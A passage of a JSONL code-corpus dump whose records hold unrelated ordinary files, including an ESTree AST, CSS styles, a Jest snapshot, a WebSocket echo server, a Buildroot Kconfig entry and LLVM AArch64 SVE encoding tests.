1,\n \"column\": 18\n },\n \"end\": {\n \"line\": 1,\n \"column\": 33\n }\n }\n }\n ],\n \"range\": [\n 9,\n 17\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 9\n },\n \"end\": {\n \"line\": 1,\n \"column\": 17\n }\n }\n }\n ],\n \"range\": [\n 7,\n 36\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 7\n },\n \"end\": {\n \"line\": 2,\n \"column\": 2\n }\n }\n },\n \"alternate\": null,\n \"range\": [\n 0,\n 36\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 0\n },\n \"end\": {\n \"line\": 2,\n \"column\": 2\n }\n }\n }\n ],\n \"sourceType\": \"script\",\n \"comments\": [\n {\n \"type\": \"Line\",\n \"value\": \" Some comment\",\n \"range\": [\n 18,\n 33\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 18\n },\n \"end\": {\n \"line\": 1,\n \"column\": 33\n }\n }\n }\n ],\n \"tokens\": [\n {\n \"type\": \"Keyword\",\n \"value\": \"if\",\n \"range\": [\n 0,\n 2\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 0\n },\n \"end\": {\n \"line\": 1,\n \"column\": 2\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \"(\",\n \"range\": [\n 3,\n 4\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 3\n },\n \"end\": {\n \"line\": 1,\n \"column\": 4\n }\n }\n },\n {\n \"type\": \"Identifier\",\n \"value\": \"x\",\n \"range\": [\n 4,\n 5\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 4\n },\n \"end\": {\n \"line\": 1,\n \"column\": 5\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \")\",\n \"range\": [\n 5,\n 6\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 5\n },\n \"end\": {\n \"line\": 1,\n \"column\": 6\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \"{\",\n \"range\": [\n 7,\n 8\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 7\n },\n \"end\": {\n \"line\": 1,\n \"column\": 8\n }\n }\n },\n {\n \"type\": \"Identifier\",\n \"value\": \"doThat\",\n \"range\": [\n 9,\n 15\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 9\n },\n \"end\": {\n \"line\": 1,\n \"column\": 15\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \"(\",\n \"range\": [\n 15,\n 16\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 15\n },\n \"end\": {\n \"line\": 1,\n \"column\": 16\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \")\",\n \"range\": [\n 16,\n 17\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 16\n },\n \"end\": {\n \"line\": 1,\n \"column\": 17\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \"}\",\n \"range\": [\n 35,\n 36\n ],\n \"loc\": {\n \"start\": {\n \"line\": 2,\n \"column\": 1\n },\n \"end\": {\n \"line\": 2,\n \"column\": 2\n }\n }\n }\n ],\n \"range\": [\n 0,\n 36\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 0\n },\n \"end\": {\n \"line\": 2,\n \"column\": 2\n }\n }\n}\n"} -{"text": "package pipe.views;\n\nimport java.awt.Container;\n\n/**\n * Interface for all Petri net view components\n */\npublic interface PetriNetViewComponent {\n /**\n * Delete the petri net view component\n */\n void delete();\n\n /**\n * Each subclass should know how to add itself to a PetriNetTab\n * @param container to add itself to\n */\n void addToContainer(Container container);\n\n\n}\n"} -{"text": "{\n \"status_code\": 200, \n \"data\": {\n \"ResponseMetadata\": {\n \"HTTPStatusCode\": 200, \n \"HostId\": \"FifYdur0PVNCEXZe/jSHaLp/NpQzXcYKHCGXWO5Lsbi1Fu2zhbfM9/i61//u3PL5AA2zi3XSy1M=\", \n \"RequestId\": \"B51935E006CEB74A\", \n \"HTTPHeaders\": {\n \"x-amz-bucket-region\": \"us-east-1\", \n \"x-amz-id-2\": \"FifYdur0PVNCEXZe/jSHaLp/NpQzXcYKHCGXWO5Lsbi1Fu2zhbfM9/i61//u3PL5AA2zi3XSy1M=\", \n \"server\": \"AmazonS3\", \n \"transfer-encoding\": \"chunked\", \n \"x-amz-request-id\": \"B51935E006CEB74A\", \n \"date\": \"Thu, 25 Aug 2016 03:31:23 GMT\", \n \"content-type\": \"application/xml\"\n }\n }\n }\n}\n"} -{"text": "/* \u6846\u67b6\u6837\u5f0f\u8986\u76d6 */\n.a-textarea-control textarea {\n font-size: 12px;\n}\nbutton:after, button:before {\n border: 0;\n border-radius: 0;\n}\n\n/* \u516c\u5171\u6837\u5f0f */\npage { \n background: #f5f5f5; \n color: #4a4a4a;\n}\npage, textarea {\n font-size: 28rpx;\n}\n\ninput[type=\"text\"],\ninput[type=\"number\"],\ninput[type=\"idcard\"],\ninput[type=\"digit\"],\ntextarea { \n -webkit-appearance: none; \n border-radius: 5px; \n box-sizing: border-box;\n}\n\n/* \u5bfc\u822a\u5206\u5272 */\n.spacing-nav-title {\n position: relative;\n color: #d2364c;\n text-align: center;\n background-color: #ffffff;\n height: 80rpx;\n line-height: 80rpx;\n}\n.spacing-nav-title .line {\n display: inline-block;\n width: 50%;\n height: 1px;\n background: #d2364c;\n position: absolute;\n left: 50%;\n top: 50%;\n -webkit-transform: translate(-50%,-50%);\n -ms-transform: translate(-50%,-50%);\n transform: translate(-50%,-50%);\n}\n.spacing-nav-title .text-wrapper {\n position: relative;\n display: inline-block;\n padding: 0 8px;\n background-color: #ffffff;\n font-size: 36rpx;\n font-weight: bold;\n}\n\n/* \u6a21\u5757\u5206\u5272\u95f4\u8ddd */\n.spacing { padding-top: 20rpx; }\n.spacing-10 { padding-top: 10rpx; }\n.spacing-mb { margin-bottom: 20rpx; }\n.spacing-mt { margin-top: 20rpx; }\n\n.drift { position: fixed; left: -1000px; }\n.nav-submit-fixed { background: #eee; height: 46px; position: fixed; bottom: 0; z-index: 10; }\n\n.tips { background: #ffffeb; color: #f7b240; border: 1px solid #faebd2; line-height: 38rpx; padding: 10rpx; font-size: 26rpx; border-radius: 2px; display: block; }\n.tips image { width: 35rpx; height: 35rpx; vertical-align: middle; margin-right: 10rpx; }\n\n.data-loding image { width: 60px; height: 60px; background-size: 80% 80% !important; }\n\n\n/* \u8fb9\u6846 */\n.br { border: solid 1px #efefef; }\n.br-b { border-bottom: solid 1px #efefef; }\n.br-t { border-top: solid 1px #efefef; }\n.br-l { border-left: solid 1px #efefef; }\n.br-r { border-right: solid 1px #efefef; }\n\n/* \u865a\u7ebf\u8fb9\u6846 */\n.br-dashed { border: dashed 1px #efefef; }\n.br-b-dashed { border-bottom: dashed 1px #efefef; }\n.br-t-dashed { border-top: dashed 1px #efefef; }\n.br-l-dashed { border-left: dashed 1px #efefef; }\n.br-r-dashed { border-right: dashed 1px #efefef; }\n\n/* \u7bad\u5934\u7b26\u53f7 */\n.arrow-right { background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAA+klEQVRYR+3WsWrDMBAG4P/eotCQLlk73UGfq6O3BgLNEsg7JQQPZ7ADfos8gAeBijYTAsnpREJBXmX0f/7RCRNe/NCL81EBtYH/1YCq/gK4iMiu1PSYGlDVloi+AOyZ+bsEwgQYx/FtmqYDgFUphAmQvniOiDFuRaTxNGEGlEZkAWaIFsCHp4lsQEIMw7AIIRw9CBfgGgFgzcw/ljPhBtxoohGR7aOIIoC+799DCCciWsYYnwvwhKeWXA14w12AEuHZgFLhWYCS4WbAPDxn5m+NpukQquqZiD49V+81wgToum6TfkiYef/oRXPvPRPg3mY56xVQG6gN/AEiuagh/yEjYQAAAABJRU5ErkJggg=='); background-size: 18px 18px; background-repeat: no-repeat; background-position: center right; }\n\n\n/* \u5e38\u7528\u6837\u5f0f */\n.fl { float: left; }\n.fr { float: right; }\n.bg-white { background-color: #fff; }\n.wh-auto { width: 100%; }\n.ht-auto { height: 100%; }\n.tc { text-align: center; }\n.tl { text-align: left; }\n.tr { text-align: right; }\n.oh { overflow: hidden; }\n.dis-none { display: none; }\n.dis-block { display: block; }\n\n.cr-main { color: #d2364c; }\n.cr-666 { color: #666; }\n.cr-888 { color: #888; }\n.cr-ccc { color: #ccc; }\n.cr-fff { color: #fff; }\n\n.my-btn-default{\n font-size: 38rpx;\n color: #fff !important;\n border: none !important;\n background-color:#d2364c !important;\n border-radius: 2px;\n}\n.my-btn-default.btn-disabled{\n background-color: #a6a6a6 !important;\n color: #fff !important;\n}\n.my-btn-gray{\n font-size: 30rpx;\n color: #fff !important;\n border: none !important;\n background-color:#a6a6a6 !important;\n border-radius: 2px;\n}\n\n/* \u6587\u5b57\u8d85\u51fa\u90e8\u5206\u4f7f\u7528\u7701\u7565\u53f7 */\n.single-text {\n -o-text-overflow: ellipsis;\n text-overflow: ellipsis;\t \n overflow: hidden;\n white-space: nowrap;\n max-width: 100%;\n}\n.multi-text {\n max-width: 100%;\n overflow: hidden;\n text-overflow: ellipsis;\n display: -webkit-box;\n -webkit-line-clamp: 2;\n -webkit-box-orient: vertical;\n}\n\n\n/* \u6ca1\u6709\u6570\u636e\u72b6\u6001/\u5904\u7406\u9519\u8bef/\u52a0\u8f7d\u4e2d */\n.no-data-box {\n padding: 80rpx 0;\n}\n.no-data-box image {\n width: 160rpx;\n margin-bottom: 30rpx;\n}\n.no-data-box .no-data-tips {\n font-size: 28rpx;\n color: #a6a6a6;\n}\n.no-data-loding { \n padding-top: 15%; \n padding-bottom: 10px;\n}\n\n/* \u5e95\u7ebf */\n.data-bottom-line{\n padding: 40rpx;\n overflow: hidden;\n}\n.data-bottom-line view { \n width: 33.3%; \n}\n.data-bottom-line .left, .data-bottom-line .right{\n margin-top: 8px;\n border-bottom: 1px solid #e1e1e1;\n}\n.data-bottom-line .msg{\n color: #999;\n text-align: center;\n font-size: 24rpx;\n}\n\n/* \u4e1a\u52a1\u516c\u5171 */\n.copyright {\n color: #a5a5a5;\n text-align: center;\n padding: 20rpx 0;\n}\n.copyright .text {\n font-size: 26rpx;\n font-weight: 400;\n}\n\n.sales-price {\n color: #f40;\n font-weight: bold;\n font-size: 32rpx;\n}\n.original-price {\n color: #888;\n font-size: 26rpx;\n text-decoration: line-through;\n margin-left: 10rpx;\n}\n\n.submit-fixed {\n position: fixed;\n left: 0;\n bottom: 0;\n background: #d2364c !important;\n color: #fff !important;\n border: none;\n width: 100%;\n}\n\n.bg-main, .bg-primary, .bg-warning {\n color: #fff !important;\n border: 0;\n font-size: 34rpx;\n}\n.bg-main {\n background-color: #d2364c !important;\n}\n.bg-primary {\n background-color: #ed6977 !important;\n}\n.bg-warning {\n background-color: #F37B1D !important;\n}\n.bg-active-main {\n background-color: #d2364c !important;\n color: #fff !important;\n}\n\n.submit-bottom {\n height: 85rpx;\n line-height: 85rpx;\n font-size: 32rpx;\n border-radius: 0;\n}\nbutton[disabled].bg-main {\n background-color: #fbe0e5 !important;\n color: #f7b6c2 !important;\n}\nbutton[disabled].bg-warning {\n background-color: #ffcda6 !important;\n color: #fdae70 !important;\n}\nbutton[disabled].bg-primary {\n background-color: #ffd2d7 !important;\n color: #ffa0ab !important;\n}\n\n.nav-back {\n position: fixed;\n left: 0;\n bottom: 10%;\n}\n\n/*\n \u6eda\u52a8\u6807\u7b7e\u9ad8\u5ea6\n*/\n.scroll-box {\n height: 100vh;\n}\n\n/*\n \u5206\u4eab\u7ec4\u5efa\u6837\u5f0f\n*/\n.share-popup {\n padding: 20rpx 10rpx 0 10rpx;\n position: relative;\n}\n.share-popup .close {\n position: absolute;\n top: 20rpx;\n right: 20rpx;\n z-index: 2;\n}\n.share-popup-content {\n padding: 0 20rpx;\n margin-top: 40rpx;\n text-align: left;\n}\n.share-popup-content .share-items {\n padding: 30rpx 0;\n height: 85rpx;\n}\n.share-popup-content .share-items:not(:first-child) {\n border-top: 1px solid #f0f0f0;\n}\n.share-popup-content .share-items button {\n background: transparent;\n padding: 0;\n width: 100%;\n text-align: left;\n margin: 0;\n}\n.share-popup-content .share-items image {\n width: 80rpx;\n height: 80rpx;\n vertical-align: middle;\n margin-right: 20rpx;\n}\n.share-popup-content .share-items .single-text {\n width: calc(100% - 100rpx);\n line-height: 85rpx;\n}\n\n/**\n * \u5feb\u6377\u5bfc\u822a\n */\n.common-quick-nav {\n border: 0;\n padding: 15rpx;\n background: rgba(0, 0, 0, 0.6);\n position: fixed;\n right: 10rpx;\n border-radius: 50%;\n width: 90rpx;\n height: 90rpx;\n z-index: 1;\n}\n.common-quick-nav image {\n width: 60rpx;\n height: 60rpx;\n}\n\n/**\n * \u5728\u7ebf\u5ba2\u670d\n */\n.common-online-service {\n bottom: 35%;\n}\n\n/**\n * \u8868\u5355\n */\n.form-container .form-gorup {\n padding: 20rpx 10rpx;\n margin-bottom: 20rpx;\n}\n.form-container .form-gorup-title {\n margin-bottom: 5rpx;\n font-weight: 500;\n}\n.form-container .form-group-tips,\n.form-container .form-group-tips-must {\n margin-left: 20rpx;\n font-size: 24rpx;\n color: #ccc;\n}\n.form-container .form-group-tips-must {\n color: #f00;\n}\n.form-container .form-gorup input,\n.form-container .form-gorup textarea,\n.form-container .form-gorup .picker {\n border-radius: 0;\n width: 100%;\n box-sizing: border-box;\n padding: 0 10rpx;\n font-size: 28rpx;\n}\n.form-container .form-gorup input,\n.form-container .form-gorup .picker {\n height: 70rpx;\n line-height: 70rpx;\n}\n.form-container .form-gorup textarea {\n padding: 0;\n min-height: 70rpx;\n}\n.form-container .form-gorup-text {\n padding: 20rpx 10rpx;\n}\n\n/**\n * \u8868\u5355\u56fe\u7247\u4e0a\u4f20\n */\n.form-container-upload .form-upload-data .item {\n padding: 10rpx;\n position: relative;\n}\n.form-container-upload .form-upload-data .delete-icon {\n position: absolute;\n top: 15rpx;\n right: 15rpx;\n color: #e5e5e5;\n background-color: #d9534f;\n padding: 5rpx 18rpx;\n font-size: 30rpx;\n border-style: solid;\n border-width: 0 0 1px 1px;\n border-color: #eee;\n}\n.form-container-upload .form-upload-data image {\n width: 200rpx;\n height: 200rpx;\n padding: 5rpx;\n border: 1px solid #eee;\n display: block;\n}\n.form-container-upload .upload-icon {\n margin: 10rpx 0 0 10rpx;\n width: 210rpx;\n height: 210rpx;\n border: 1px dashed #e9e9e9;\n}\n\n\n/*\n * \u4f18\u60e0\u52b5 - \u63d2\u4ef6\n */\n.coupon-container {\n padding: 0 10rpx;\n}\n.coupon-container .item {\n overflow: hidden;\n height: 180rpx;\n border: 1px solid #D2364C;\n}\n.coupon-container .v-left {\n width: calc(100% - 140rpx);\n padding: 30rpx 0 30rpx 20rpx;\n box-sizing:border-box; \n -moz-box-sizing:border-box;\n -webkit-box-sizing:border-box;\n}\n.coupon-container .v-left .base {\n color: #D2364C;\n}\n.coupon-container .v-left .base .symbol {\n font-family: Verdana, Tahoma;\n font-weight: 700;\n}\n.coupon-container .v-left .base .price {\n font-weight: 700;\n font-family: arial;\n font-size: 76rpx;\n}\n.coupon-container .v-left .base .desc {\n margin-left: 20rpx;\n}\n.coupon-container .v-left base-tips, .coupon-container .v-left .base-time {\n margin-top: 10rpx;\n}\n.coupon-container .v-right {\n background: #d2364c;\n width: 140rpx;\n height: 180rpx;\n color: #fff;\n font-weight: 500;\n position: relative;\n text-align: center;\n}\n.coupon-container .v-right:before {\n content: '';\n display: inline-block;\n height: 100%;\n vertical-align: middle;\n}\n.coupon-container .v-right .circle {\n display: block;\n position: absolute;\n left: -1px;\n top: -3px;\n width: 3px;\n height: 180rpx;\n background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAACpCAYAAADur4c3AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA3NpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo3MjUzYzIwOS04ZWNlLTRlNTctODQ4OC01ZDExOTkwOGNkYmMiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6MTM1QzgxREZGRDI5MTFFNTg3QjhGRUQ1MDY5OURERUQiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6MTM1QzgxREVGRDI5MTFFNTg3QjhGRUQ1MDY5OURERUQiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChNYWNpbnRvc2gpIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6NTJiNzVkOGUtZDc2Yi00MzEzLWFmNmYtYTJkNTRlYTI4YTY1IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjcyNTNjMjA5LThlY2UtNGU1Ny04NDg4LTVkMTE5OTA4Y2RiYyIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/Pvy+vnQAAAEqSURBVHjaYvz//z8DDDAxIAFyOVeBOAHEYfyPMDsLmXMfmfMT2YADDP8h4CEQq4A4aUDMA1LNSKZDXwJxGcg1yJaWIXOeInO+IxuwA+acK0AsA+IEADEbic7hhPOAer4DcQcQMyNb2oLMeYVsADcyZwPMObuBWBTEsQFpI9E54sjO+QvEc0F+YoHKJgHxJ2TnvEM2gBmZswrmnA1AzAXiaJPhHC1k58BNQ3bBTGTOR2QD/iJzFsH8Mw/kHxBHggzn2KA7BxzWyC5Yisz5imwACmc2LLY7QbEN4nCS4ZwAIGZFds5lUEpEdsF6nKn3PTJnAsiAV0BcBsSM5GamFCDmQXYOOJ8iu2Anzrz9HKU8ABlwDYgTKcnbo0XNaFEzWtQgipqOYVLUAAQYAKPWa4c8cIHnAAAAAElFTkSuQmCC) no-repeat;\n}\n.coupon-container .item-disabled .v-right {\n background: #dfdfdf !important;\n color: #c0c0c0 !important;\n cursor: no-drop !important;\n}\n.coupon-container .item-disabled {\n border: 1px solid #dfdfdf !important;\n}"} -{"text": "---\ntitle: \"System.ServiceModel.PortSharing.RoutingTableRegisterSuccess\"\nms.date: \"03/30/2017\"\nms.assetid: 7f9441ce-5f4a-4080-9be5-c3c08a87bb21\n---\n# System.ServiceModel.PortSharing.RoutingTableRegisterSuccess\nSystem.ServiceModel.PortSharing.RoutingTableRegisterSuccess \n \n## Description \n The namespace was successfully registered. \n \n## See also\n\n- [Tracing](index.md)\n- [Using Tracing to Troubleshoot Your Application](using-tracing-to-troubleshoot-your-application.md)\n- [Administration and Diagnostics](../index.md)\n"} -{"text": "ScriptPage.page.title=Scripts\nScriptPage.page.description=Manage scripts\n\nScriptPage.title=Scripts\nScriptPage.description=Manage Scripts\nScriptPage.addNew = Add new script\nScriptPage.removeSelected = Remove selected scripts(s)\nScriptPage.th.name = Script Name\nScriptPage.th.remove = Remove\n\nScriptSelectionRemovalLink.confirmRemoval = Confirm script removal\n\nScriptEditPage.description = Edit existing script\nScriptEditPage.title = Edit Script\nScriptEditPage.submit = Save\nScriptEditPage.cancel = Cancel\n\nScriptNewPage.description = Configure a new script\nScriptNewPage.title = New Script\nScriptNewPage.submit = Save\nScriptNewPage.cancel = Cancel"} -{"text": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`dupe1.js format 1`] = `\n====================================options=====================================\nparsers: [\"flow\"]\nprintWidth: 80\n | printWidth\n=====================================input======================================\n/**\n * Dupe provider 1/2\n * @providesModule Dupe\n * @flow\n */\nmodule.exports = \"dupe1\";\n\n=====================================output=====================================\n/**\n * Dupe provider 1/2\n * @providesModule Dupe\n * @flow\n */\nmodule.exports = \"dupe1\";\n\n================================================================================\n`;\n\nexports[`dupe2.js format 1`] = `\n====================================options=====================================\nparsers: [\"flow\"]\nprintWidth: 80\n | printWidth\n=====================================input======================================\n/**\n * Dupe provider 2/2\n * @providesModule Dupe\n * @flow\n */\nmodule.exports = \"dupe2\";\n\n=====================================output=====================================\n/**\n * Dupe provider 2/2\n * @providesModule Dupe\n * @flow\n */\nmodule.exports = \"dupe2\";\n\n================================================================================\n`;\n\nexports[`requires_dupe.js format 1`] = `\n====================================options=====================================\nparsers: [\"flow\"]\nprintWidth: 80\n | printWidth\n=====================================input======================================\n/**\n * depends on doubly-provided module\n * @flow\n */\nvar dupe = require('Dupe');\n\n=====================================output=====================================\n/**\n * depends on doubly-provided module\n * @flow\n */\nvar dupe = require(\"Dupe\");\n\n================================================================================\n`;\n"} -{"text": "var net = require('net'),\n websocket = require('..'),\n deflate = require('permessage-deflate');\n\nvar server = net.createServer(function(connection) {\n var driver = websocket.server();\n driver.addExtension(deflate);\n\n driver.on('connect', function() {\n if (websocket.isWebSocket(driver)) driver.start();\n });\n\n driver.on('close', function() { connection.end() });\n connection.on('error', function() {});\n\n connection.pipe(driver.io);\n driver.io.pipe(connection);\n\n driver.messages.pipe(driver.messages);\n});\n\nserver.listen(process.argv[2]);\n"} -{"text": "config BR2_PACKAGE_GSTREAMER\n\tbool \"gstreamer 0.10\"\n\tdepends on BR2_USE_WCHAR # glib2\n\tdepends on BR2_TOOLCHAIN_HAS_THREADS # glib2\n\tdepends on BR2_USE_MMU # glib2\n\tselect BR2_PACKAGE_LIBGLIB2\n\thelp\n\t GStreamer is an open source multimedia framework.\n\n\t This 0.10.x version of GStreamer is incompatible with\n\t GStreamer 1.X.\n\n\t http://gstreamer.freedesktop.org/\n\nif BR2_PACKAGE_GSTREAMER\n\nconfig BR2_PACKAGE_GSTREAMER_GST_DEBUG\n\tbool \"enable gst-debug trace support\"\n\tdefault y\n\thelp\n\t Enable support for the gst-debug tracing functionality in gstreamer.\n\t This has limited CPU overhead, but does increase the rootfs size\n\t somewhat.\n\nconfig BR2_PACKAGE_GSTREAMER_PLUGIN_REGISTRY\n\tbool \"enable plugin registry\"\n\tdefault y\n\thelp\n\t Enable support for the GStreamer plugin registry. This may increase\n\t the launch-time for a GStreamer application.\n\nendif\n\ncomment \"gstreamer 0.10 needs a toolchain w/ wchar, threads\"\n\tdepends on BR2_USE_MMU\n\tdepends on !BR2_USE_WCHAR || !BR2_TOOLCHAIN_HAS_THREADS\n"} -{"text": "// RUN: llvm-mc -triple=aarch64 -show-encoding -mattr=+sve < %s \\\n// RUN: | FileCheck %s --check-prefixes=CHECK-ENCODING,CHECK-INST\n// RUN: not llvm-mc -triple=aarch64 -show-encoding < %s 2>&1 \\\n// RUN: | FileCheck %s --check-prefix=CHECK-ERROR\n// RUN: llvm-mc -triple=aarch64 -filetype=obj -mattr=+sve < %s \\\n// RUN: | llvm-objdump -d -mattr=+sve - | FileCheck %s --check-prefix=CHECK-INST\n// RUN: llvm-mc -triple=aarch64 -filetype=obj -mattr=+sve < %s \\\n// RUN: | llvm-objdump -d - | FileCheck %s --check-prefix=CHECK-UNKNOWN\n\n\ncmpeq p0.b, p0/z, z0.b, z0.b\n// CHECK-INST: cmpeq p0.b, p0/z, z0.b, z0.b\n// CHECK-ENCODING: [0x00,0xa0,0x00,0x24]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 a0 00 24 \n\ncmpeq p0.h, p0/z, z0.h, z0.h\n// CHECK-INST: cmpeq p0.h, p0/z, z0.h, z0.h\n// CHECK-ENCODING: [0x00,0xa0,0x40,0x24]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 a0 40 24 \n\ncmpeq p0.s, p0/z, z0.s, z0.s\n// CHECK-INST: cmpeq p0.s, p0/z, z0.s, z0.s\n// CHECK-ENCODING: [0x00,0xa0,0x80,0x24]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 a0 80 24 \n\ncmpeq p0.d, p0/z, z0.d, z0.d\n// CHECK-INST: cmpeq p0.d, p0/z, z0.d, z0.d\n// CHECK-ENCODING: [0x00,0xa0,0xc0,0x24]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 a0 c0 24 \n\ncmpeq p0.b, p0/z, z0.b, z0.d\n// CHECK-INST: cmpeq p0.b, p0/z, z0.b, z0.d\n// CHECK-ENCODING: [0x00,0x20,0x00,0x24]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 20 00 24 \n\ncmpeq p0.h, p0/z, z0.h, z0.d\n// CHECK-INST: cmpeq p0.h, p0/z, z0.h, z0.d\n// CHECK-ENCODING: [0x00,0x20,0x40,0x24]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 20 40 24 \n\ncmpeq p0.s, p0/z, z0.s, z0.d\n// CHECK-INST: cmpeq p0.s, p0/z, z0.s, z0.d\n// CHECK-ENCODING: [0x00,0x20,0x80,0x24]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 20 80 24 \n\ncmpeq p0.b, p0/z, z0.b, #-16\n// CHECK-INST: cmpeq p0.b, p0/z, z0.b, #-16\n// CHECK-ENCODING: [0x00,0x80,0x10,0x25]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 80 10 25 \n\ncmpeq p0.h, p0/z, z0.h, #-16\n// CHECK-INST: cmpeq p0.h, p0/z, z0.h, #-16\n// CHECK-ENCODING: [0x00,0x80,0x50,0x25]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 80 50 25 \n\ncmpeq p0.s, p0/z, z0.s, #-16\n// CHECK-INST: cmpeq p0.s, p0/z, z0.s, #-16\n// CHECK-ENCODING: [0x00,0x80,0x90,0x25]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 80 90 25 \n\ncmpeq p0.d, p0/z, z0.d, #-16\n// CHECK-INST: cmpeq p0.d, p0/z, z0.d, #-16\n// CHECK-ENCODING: [0x00,0x80,0xd0,0x25]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 80 d0 25 \n\ncmpeq p0.b, p0/z, z0.b, #15\n// CHECK-INST: cmpeq p0.b, p0/z, z0.b, #15\n// CHECK-ENCODING: [0x00,0x80,0x0f,0x25]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 80 0f 25 \n\ncmpeq p0.h, p0/z, z0.h, #15\n// CHECK-INST: cmpeq p0.h, p0/z, z0.h, #15\n// CHECK-ENCODING: [0x00,0x80,0x4f,0x25]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 80 4f 25 \n\ncmpeq p0.s, p0/z, z0.s, #15\n// CHECK-INST: cmpeq p0.s, p0/z, z0.s, #15\n// CHECK-ENCODING: [0x00,0x80,0x8f,0x25]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 80 8f 25 \n\ncmpeq p0.d, p0/z, z0.d, #15\n// CHECK-INST: cmpeq p0.d, p0/z, z0.d, #15\n// CHECK-ENCODING: [0x00,0x80,0xcf,0x25]\n// CHECK-ERROR: instruction requires: sve\n// CHECK-UNKNOWN: 00 80 cf 25 \n"} -{"text": "# Copyright 2020 Authors of Cilium\n# SPDX-License-Identifier: Apache-2.0\n\n# since this is image is built with root context, most of the files\n# need to be excluded for faster builds and to avoid spoiling build\n# cache due to unchecked files (like configs or random binaries)\n*\n\n# must-have toplevel files\n!/Makefile*\n!/go.sum\n!/go.mod\n!/VERSION\n# TODO: this is currently a make dependency, but should be removed\n# in the future\n!/Dockerfile\n\n# directories\n!/.git\n!/api\n!/bpf\n!/bugtool\n!/cilium\n!/cilium-health\n!/contrib/packaging/docker\n!/daemon\n!/envoy\n!/pkg\n!/plugins/cilium-cni\n!/proxylib\n!/vendor\n"} -{"text": "\n\n\n \n\n \n"} -{"text": "/*\n * Copyright (c) 1997, 2018 Oracle and/or its affiliates. All rights reserved.\n *\n * This program and the accompanying materials are made available under the\n * terms of the Eclipse Public License v. 2.0, which is available at\n * http://www.eclipse.org/legal/epl-2.0.\n *\n * This Source Code may also be made available under the following Secondary\n * Licenses when the conditions for such availability set forth in the\n * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,\n * version 2 with the GNU Classpath Exception, which is available at\n * https://www.gnu.org/software/classpath/license.html.\n *\n * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0\n */\n\npackage org.glassfish.loadbalancer.admin.cli.transform;\n\nimport org.glassfish.loadbalancer.admin.cli.reader.api.BaseReader;\nimport 